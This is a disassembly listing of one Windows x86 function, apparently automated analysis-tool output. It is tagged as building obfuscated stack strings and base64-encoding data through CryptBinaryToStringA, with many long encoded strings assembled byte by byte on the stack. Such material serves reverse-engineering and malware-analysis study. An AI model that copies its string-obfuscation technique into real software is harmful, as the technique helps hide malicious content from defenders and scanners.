Function at 0x110192a1
Capabilities:
Contain obfuscated stackstrings
Encode data using base64 via winapi

Disassembly:
push 0x3a8
mov eax, 0x1104d26a
call fcn.1101ecd8
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x14]
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
push eax
push 0
push 0x40000001
push dword [ebx]
push edi
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov ecx, esi
test eax, eax
jne 0x110192e3
call fcn.11012d7b
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1101a0dd
push dword [ebp - 0x14]
call fcn.110132d5
lea ecx, [ebp - 0x14]
push ecx
push eax
push 0x40000001
push dword [ebx]
push edi
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov ecx, esi
test eax, eax
jne 0x1101930f
push 0xffffffffffffffff
call fcn.110171bd
mov ecx, esi
jmp 0x110192d3
push dword [ebp - 0x14]
call fcn.11019012
push dword [0x13027750]
xor ebx, ebx
mov dword [ebp - 0x144], 0x704d5556
push ebx
mov dword [ebp - 0x140], 0x6d6b445a
sub esp, 0xc
mov dword [ebp - 0x13c], 0x6b4a444b
mov dword [ebp - 0x138], 0x6c73425a
mov dword [ebp - 0x134], 0x47414245
mov dword [ebp - 0x130], 0x4d497a4b
mov dword [ebp - 0x12c], 0x41455242
mov dword [ebp - 0x128], 0x2f306862
mov dword [ebp - 0x124], 0x53514459
mov dword [ebp - 0x120], 0x2f6b334a
mov dword [ebp - 0x11c], 0x31565144
mov dword [ebp - 0x118], 0x7763544f
mov dword [ebp - 0x114], 0x6d357765
mov dword [ebp - 0x110], 0x58307a42
mov dword [ebp - 0x10c], 0x396c524c
mov dword [ebp - 0x108], 0x50636e66
mov dword [ebp - 0x104], 0x73497761
mov dword [ebp - 0x100], 0x44344342
mov dword [ebp - 0xfc], 0x79455164
mov dword [ebp - 0xf8], 0x3738444d
mov dword [ebp - 0xf4], 0x5577524f
mov dword [ebp - 0xf0], 0x5863524f
mov dword [ebp - 0xec], 0x6864784b
mov dword [ebp - 0xe8], 0x4d495148
mov dword [ebp - 0xe4], 0x686b4444
mov dword [ebp - 0xe0], 0x59417949
mov dword [ebp - 0xdc], 0x35394245
mov dword [ebp - 0xd8], 0x3841774c
mov dword [ebp - 0xd4], 0x67524248
mov dword [ebp - 0xd0], 0x646f5162
mov dword [ebp - 0xcc], 0x2b737742
mov dword [ebp - 0xc8], 0x7a6f774e
mov dword [ebp - 0xc4], 0x68705247
mov dword [ebp - 0xc0], 0x765a7949
mov dword [ebp - 0xbc], 0x656b784d
mov dword [ebp - 0xb8], 0x39346742
mov dword [ebp - 0xb4], 0x5777694e
mov dword [ebp - 0xb0], 0x6d46694b
mov dword [ebp - 0xac], 0x694e4142
mov dword [ebp - 0xa8], 0x49776e59
mov dword [ebp - 0xa4], 0x78466962
mov dword [ebp - 0xa0], 0x3059525a
mov dword [ebp - 0x9c], 0x39775442
mov dword [ebp - 0x98], 0x5030794f
mov dword [ebp - 0x94], 0x5477424e
mov dword [ebp - 0x90], 0x7938434c
mov dword [ebp - 0x8c], 0x3534774b
mov dword [ebp - 0x88], 0x764e6745
mov dword [ebp - 0x84], 0x5234674c
mov dword [ebp - 0x80], 0x6c496947
mov dword [ebp - 0x7c], 0x2b394343
mov dword [ebp - 0x78], 0x39517750
mov dword [ebp - 0x74], 0x6b397863
mov dword [ebp - 0x70], 0x3139684a
mov dword [ebp - 0x6c], 0x3868674d
mov dword [ebp - 0x68], 0x4e386848
mov dword [ebp - 0x64], 0x744a6961
mov dword [ebp - 0x60], 0x51386a47
mov dword [ebp - 0x5c], 0x486b6749
mov dword [ebp - 0x58], 0x594d4141
mov dword [ebp - 0x54], 0x3334524c
mov dword [ebp - 0x50], 0x77557741
mov dword [ebp - 0x4c], 0x6f77524f
mov dword [ebp - 0x48], 0x55386749
mov dword [ebp - 0x44], 0x5263334f
mov dword [ebp - 0x40], 0x4c67694e
mov dword [ebp - 0x3c], 0x35386845
mov dword [ebp - 0x38], 0x2f776a45
mov dword [ebp - 0x34], 0x64344249
mov dword [ebp - 0x30], 0x54633350
mov dword [ebp - 0x2c], 0x72734362
mov dword [ebp - 0x28], 0x5167784d
mov dword [ebp - 0x24], 0x6f73434f
mov dword [ebp - 0x20], 0x41414141
mov word [ebp - 0x1c], 0x5132
mov ecx, esp
mov byte [ebp - 0x18], bl
push dword [ebp - 0x18]
lea eax, [ebp - 0x1a]
push eax
lea eax, [ebp - 0x144]
mov dword [ecx], ebx
push eax
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1100f843
lea eax, [ebp - 0x390]
push eax
call fcn.11012a81
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], ebx
call fcn.1101c584
push eax
mov ecx, esi
call fcn.11017215
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x390]
call fcn.1101c3ca
cmp dword [ebp + 0x14], ebx
je 0x1101a0db
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
mov dword [ebp - 0x1f0], 0x446f5866
lea eax, [ebp - 0x18c]
mov dword [ebp - 0x1ec], 0x6b31795a
mov dword [ebp - 0x1e8], 0x6870794a
push dword [ebp - 0x18]
mov dword [ebp - 0x1e4], 0x684d695a
push eax
mov dword [ebp - 0x1e0], 0x666b6a43
lea eax, [ebp - 0x1f0]
mov dword [ebp - 0x1dc], 0x77785143
mov dword [ebp - 0x1d8], 0x51677961
mov dword [ebp - 0x1d4], 0x31736a62
mov dword [ebp - 0x1d0], 0x7359774b
mov dword [ebp - 0x1cc], 0x66676a50
mov dword [ebp - 0x1c8], 0x33466e4e
mov dword [ebp - 0x1c4], 0x39596744
mov dword [ebp - 0x1c0], 0x696c5141
mov dword [ebp - 0x1bc], 0x6a6b5147
mov dword [ebp - 0x1b8], 0x696b674b
mov dword [ebp - 0x1b4], 0x5a6f7766
mov dword [ebp - 0x1b0], 0x436b7747
mov dword [ebp - 0x1ac], 0x62594748
mov dword [ebp - 0x1a8], 0x32497a49
mov dword [ebp - 0x1a4], 0x57554141
mov dword [ebp - 0x1a0], 0x32427a45
mov dword [ebp - 0x19c], 0x51734250
mov dword [ebp - 0x198], 0x4341684f
mov dword [ebp - 0x194], 0x416f334a
mov dword [ebp - 0x190], 0x45424141
mov dword [ebp - 0x17c], 0x4d49515a
mov dword [ebp - 0x178], 0x6a495141
mov dword [ebp - 0x174], 0x6b463344
mov dword [ebp - 0x170], 0x7a466847
mov dword [ebp - 0x16c], 0x6b496d4f
mov dword [ebp - 0x168], 0x4d454150
mov dword [ebp - 0x164], 0x3441425a
mov dword [ebp - 0x160], 0x4355524b
mov dword [ebp - 0x15c], 0x30637a42
mov dword [ebp - 0x158], 0x676f774a
mov dword [ebp - 0x154], 0x446f544d
mov dword [ebp - 0x150], 0x41415142
mov word [ebp - 0x14c], 0x4341
mov byte [ebp - 0x14a], 0x45
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1100f843
lea eax, [ebp - 0x39c]
push eax
call fcn.11012a81
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], 1
call fcn.1101c584
push eax
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
lea eax, [ebp - 0x149]
push dword [ebp - 0x18]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0x17c]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.1100f843
lea eax, [ebp - 0x390]
push eax
call fcn.11012a81
add esp, 0x10
mov byte [ebp - 4], 2
mov ecx, eax
call fcn.1101c584
push eax
mov ecx, esi
call fcn.11017215
lea ecx, [ebp - 0x390]
call fcn.1101c3ca
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x39c]
call fcn.1101c3ca
mov dword [ebp - 0x148], 0x42735866
mov dword [ebp - 0x144], 0x62386847
mov dword [ebp - 0x140], 0x6b773350
mov dword [ebp - 0x13c], 0x32676e42
mov dword [ebp - 0x138], 0x4f597a45
mov dword [ebp - 0x134], 0x51595246
mov dword [ebp - 0x130], 0x68306e4d
mov dword [ebp - 0x12c], 0x43305246
mov dword [ebp - 0x128], 0x38635465
mov dword [ebp - 0x124], 0x6e345144
mov dword [ebp - 0x120], 0x304d7848
mov dword [ebp - 0x11c], 0x47345244
mov dword [ebp - 0x118], 0x4477484b
mov dword [ebp - 0x114], 0x7a4d434f
mov dword [ebp - 0x110], 0x4d55424c
mov dword [ebp - 0x10c], 0x39776959
mov dword [ebp - 0x108], 0x68774248
mov dword [ebp - 0x104], 0x634d794f
mov dword [ebp - 0x100], 0x36514742
mov dword [ebp - 0xfc], 0x42634359
mov dword [ebp - 0xf8], 0x47384243
mov dword [ebp - 0xf4], 0x6c736a49
mov dword [ebp - 0xf0], 0x65387a4d
mov dword [ebp - 0xec], 0x324a424e
mov dword [ebp - 0xe8], 0x6b77514e
mov dword [ebp - 0xe4], 0x74415447
mov dword [ebp - 0xe0], 0x6759484a
mov dword [ebp - 0xdc], 0x594d7764
mov dword [ebp - 0xd8], 0x61595249
mov dword [ebp - 0xd4], 0x6b6b7741
mov dword [ebp - 0xd0], 0x57555346
mov dword [ebp - 0xcc], 0x55595745
mov dword [ebp - 0xc8], 0x68747a4f
mov dword [ebp - 0xc4], 0x4c457a50
mov dword [ebp - 0xc0], 0x374a5448
mov dword [ebp - 0xbc], 0x59384445
mov dword [ebp - 0xb8], 0x68745342
mov dword [ebp - 0xb4], 0x2b6b334d
mov dword [ebp - 0xb0], 0x79495249
mov dword [ebp - 0xac], 0x30556943
mov dword [ebp - 0xa8], 0x77596745
mov dword [ebp - 0xa4], 0x6b41535a
mov dword [ebp - 0xa0], 0x38416747
mov dword [ebp - 0x9c], 0x74736a5a
mov dword [ebp - 0x98], 0x59343246
mov dword [ebp - 0x94], 0x5234784f
mov dword [ebp - 0x90], 0x6a5a5247
mov dword [ebp - 0x8c], 0x4f596d62
mov dword [ebp - 0x88], 0x47633247
mov dword [ebp - 0x84], 0x4738524c
mov dword [ebp - 0x80], 0x47675449
mov dword [ebp - 0x7c], 0x64305445
mov dword [ebp - 0x78], 0x614d794c
mov dword [ebp - 0x74], 0x30315249
mov dword [ebp - 0x70], 0x454d4245
mov dword [ebp - 0x6c], 0x77514147
mov dword [ebp - 0x68], 0x7a594846
mov dword [ebp - 0x64], 0x4f77434e
mov dword [ebp - 0x60], 0x33556947
mov dword [ebp - 0x5c], 0x704a4750
mov dword [ebp - 0x58], 0x55675148
mov dword [ebp - 0x54], 0x56776944
mov dword [ebp - 0x50], 0x616b4143
mov dword [ebp - 0x4c], 0x6e413342
mov dword [ebp - 0x48], 0x464d4762
mov dword [ebp - 0x44], 0x6a384866
mov dword [ebp - 0x40], 0x4563684b
mov dword [ebp - 0x3c], 0x45416846
mov dword [ebp - 0x38], 0x78515343
mov dword [ebp - 0x34], 0x396b6750
mov dword [ebp - 0x30], 0x31304848
mov dword [ebp - 0x2c], 0x7841684f
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
mov dword [ebp - 0x28], 0x5841584a
lea eax, [ebp - 0x19]
mov dword [ebp - 0x24], 0x586b5845
mov dword [ebp - 0x20], 0x4141674d
push dword [ebp - 0x18]
mov word [ebp - 0x1c], 0x4e41
push eax
mov byte [ebp - 0x1a], 0x77
lea eax, [ebp - 0x148]
mov dword [ebp - 0x18c], 0x54347a64
mov dword [ebp - 0x188], 0x63516841
mov dword [ebp - 0x184], 0x72497945
mov dword [ebp - 0x180], 0x31456748
mov dword [ebp - 0x17c], 0x5a63334c
mov dword [ebp - 0x178], 0x78557946
mov dword [ebp - 0x174], 0x54384246
mov dword [ebp - 0x170], 0x5234694a
mov dword [ebp - 0x16c], 0x506b5747
mov dword [ebp - 0x168], 0x6e6c584c
mov dword [ebp - 0x164], 0x51304149
mov dword [ebp - 0x160], 0x7131324d
mov dword [ebp - 0x15c], 0x6173524f
mov dword [ebp - 0x158], 0x58774350
mov dword [ebp - 0x154], 0x2f774248
mov dword [ebp - 0x150], 0x4141414c
mov word [ebp - 0x14c], 0x4341
mov byte [ebp - 0x14a], 0x30
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1100f843
lea eax, [ebp - 0x390]
push eax
call fcn.11012a81
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], 3
call fcn.1101c584
push eax
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
lea eax, [ebp - 0x149]
push dword [ebp - 0x18]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0x18c]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.1100f843
lea eax, [ebp - 0x39c]
push eax
call fcn.11012a81
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.1101c584
push eax
mov ecx, esi
call fcn.11017215
lea ecx, [ebp - 0x39c]
call fcn.1101c3ca
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x390]
call fcn.1101c3ca
mov dword [ebp - 0x27c], 0x46735866
mov dword [ebp - 0x278], 0x41386959
mov dword [ebp - 0x274], 0x47416749
mov dword [ebp - 0x270], 0x6b6b4159
mov dword [ebp - 0x26c], 0x4d386d4c
mov dword [ebp - 0x268], 0x6c774145
mov dword [ebp - 0x264], 0x78775448
mov dword [ebp - 0x260], 0x306f7847
mov dword [ebp - 0x25c], 0x67674241
mov dword [ebp - 0x258], 0x32735250
mov dword [ebp - 0x254], 0x7541334f
mov dword [ebp - 0x250], 0x55495350
mov dword [ebp - 0x24c], 0x56495349
mov dword [ebp - 0x248], 0x31343344
mov dword [ebp - 0x244], 0x4d345449
mov dword [ebp - 0x240], 0x4c416e64
mov dword [ebp - 0x23c], 0x6956424e
mov dword [ebp - 0x238], 0x77557745
mov dword [ebp - 0x234], 0x51634359
mov dword [ebp - 0x230], 0x38347a42
mov dword [ebp - 0x22c], 0x44496961
mov dword [ebp - 0x228], 0x62304459
mov dword [ebp - 0x224], 0x2f317863
mov dword [ebp - 0x220], 0x78704348
mov dword [ebp - 0x21c], 0x79704364
mov dword [ebp - 0x218], 0x5941524a
mov dword [ebp - 0x214], 0x54774146
mov dword [ebp - 0x210], 0x6d395244
mov dword [ebp - 0x20c], 0x65596a4a
mov dword [ebp - 0x208], 0x7039444a
mov dword [ebp - 0x204], 0x46306e4d
mov dword [ebp - 0x200], 0x30636d47
mov dword [ebp - 0x1fc], 0x51454345
mov dword [ebp - 0x1f8], 0x41414141
mov word [ebp - 0x1f4], 0x4159
mov dword [ebp - 0x384], 0x414d7763
mov dword [ebp - 0x380], 0x7730324a
mov dword [ebp - 0x37c], 0x32386e48
mov dword [ebp - 0x378], 0x6f4d434d
mov dword [ebp - 0x374], 0x6c557843
mov dword [ebp - 0x370], 0x58556a4b
mov dword [ebp - 0x36c], 0x3349334b
mov dword [ebp - 0x368], 0x4173444c
mov dword [ebp - 0x364], 0x77555741
mov dword [ebp - 0x360], 0x34557859
mov dword [ebp - 0x35c], 0x4f73524c
mov dword [ebp - 0x358], 0x6b42514f
mov dword [ebp - 0x354], 0x6a6f6941
mov dword [ebp - 0x350], 0x7a305159
mov dword [ebp - 0x34c], 0x61307a4c
mov dword [ebp - 0x348], 0x4d676944
mov dword [ebp - 0x344], 0x444d7a43
mov dword [ebp - 0x340], 0x6a456a43
mov dword [ebp - 0x33c], 0x2b736a49
mov dword [ebp - 0x338], 0x51636a46
mov dword [ebp - 0x334], 0x506f4850
mov dword [ebp - 0x330], 0x6c456d59
mov dword [ebp - 0x32c], 0x616b5144
mov dword [ebp - 0x328], 0x3730584f
mov dword [ebp - 0x324], 0x66774764
mov dword [ebp - 0x320], 0x6a737964
mov dword [ebp - 0x31c], 0x5a34534e
mov dword [ebp - 0x318], 0x5149674b
mov dword [ebp - 0x314], 0x3249794a
mov dword [ebp - 0x310], 0x54597859
mov dword [ebp - 0x30c], 0x56775341
mov dword [ebp - 0x308], 0x6e77424d
mov dword [ebp - 0x304], 0x6e6b4344
mov dword [ebp - 0x300], 0x53386a46
mov dword [ebp - 0x2fc], 0x64737746
mov dword [ebp - 0x2f8], 0x4f635149
mov dword [ebp - 0x2f4], 0x6b59334e
mov dword [ebp - 0x2f0], 0x35415443
mov dword [ebp - 0x2ec], 0x7346574f
mov dword [ebp - 0x2e8], 0x344d5142
mov dword [ebp - 0x2e4], 0x7178684d
mov dword [ebp - 0x2e0], 0x3249674d
mov dword [ebp - 0x2dc], 0x38414165
mov dword [ebp - 0x2d8], 0x50677849
mov dword [ebp - 0x2d4], 0x3845444e
mov dword [ebp - 0x2d0], 0x4741484a
mov dword [ebp - 0x2cc], 0x614d524e
mov dword [ebp - 0x2c8], 0x38415444
mov dword [ebp - 0x2c4], 0x30515347
mov dword [ebp - 0x2c0], 0x72456746
mov dword [ebp - 0x2bc], 0x74594246
mov dword [ebp - 0x2b8], 0x31634349
mov dword [ebp - 0x2b4], 0x666f6a63
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
mov dword [ebp - 0x2b0], 0x4f346a62
lea eax, [ebp - 0x1f2]
mov dword [ebp - 0x2ac], 0x4d677861
mov dword [ebp - 0x2a8], 0x58776844
push dword [ebp - 0x18]
mov dword [ebp - 0x2a4], 0x39304346
push eax
mov dword [ebp - 0x2a0], 0x764a6847
lea eax, [ebp - 0x27c]
mov dword [ebp - 0x29c], 0x4e514147
mov dword [ebp - 0x298], 0x6a4d6759
mov dword [ebp - 0x294], 0x73737945
mov dword [ebp - 0x290], 0x72707841
mov dword [ebp - 0x28c], 0x61775443
mov dword [ebp - 0x288], 0x68735447
mov dword [ebp - 0x284], 0x41414141
mov word [ebp - 0x280], 0x7776
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1100f843
lea eax, [ebp - 0x3b4]
push eax
call fcn.11012a81
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], 5
call fcn.1101c584
push eax
push ebx
sub esp, 0xc
mov byte [ebp - 0x18], bl
mov ecx, esp
lea eax, [ebp - 0x27e]
push dword [ebp - 0x18]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0x384]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.1100f843
lea eax, [ebp - 0x3a8]
push eax
call fcn.11012a81
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.1101c584
push eax
mov ecx, esi
call fcn.11017215
lea ecx, [ebp - 0x3a8]
call fcn.1101c3ca
lea ecx, [ebp - 0x3b4]
call fcn.1101c3ca
xor eax, eax
call fcn.1101ec82
ret